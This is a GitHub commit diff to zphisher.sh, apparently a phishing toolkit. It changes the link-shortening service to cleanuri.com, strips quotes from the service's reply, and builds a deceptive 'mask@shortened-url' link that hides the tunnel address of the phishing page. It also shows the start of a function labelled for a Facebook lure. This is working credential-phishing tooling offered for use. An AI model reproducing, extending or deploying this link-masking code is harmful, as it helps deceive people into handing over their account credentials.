Skip to content

Commit

Permalink
Update zphisher.sh
Browse files Browse the repository at this point in the history
  • Loading branch information
dracksters authored Jun 10, 2024
1 parent 7a2128f commit c807912
Showing 1 changed file with 6 additions and 6 deletions.
12 changes: 6 additions & 6 deletions zphisher.sh
Original file line number Diff line number Diff line change
Expand Up @@ -565,20 +565,19 @@ custom_mask() {
site_stat() { [[ ${1} != "" ]] && curl -s -o "/dev/null" -w "%{http_code}" "${1}https://github.com"; }

shorten() {
local short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 -F "shorten=$2" "$1")
local short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 -F "url=$2" "https://cleanuri.com/api/v1/shorten")
processed_url=${short}
}

custom_url() {
url=${1#http*//}
isgd="https://is.gd/create.php?format=simple&url="
shortcode="https://api.shrtco.de/v2/shorten?url="
zer0x="https://0x0.st"
cleanuri="https://cleanuri.com/api/v1/shorten"

{ custom_mask; sleep 1; clear; banner_small; }
if [[ ${url} =~ [-a-zA-Z0-9.]*(trycloudflare.com|loclx.io) ]]; then
shorten $zer0x "$url"
processed_url="https://$processed_url"
shorten $cleanuri "$url"
processed_url=${processed_url%\"} # Remove trailing quote
processed_url=${processed_url#\"} # Remove leading quote
masked_url="$mask@$processed_url"
else
url="Unable to generate links. Try after turning on hotspot"
Expand All @@ -592,6 +591,7 @@ custom_url() {




## Facebook
site_facebook() {
cat <<- EOF
Expand Down

0 comments on commit c807912

Please sign in to comment.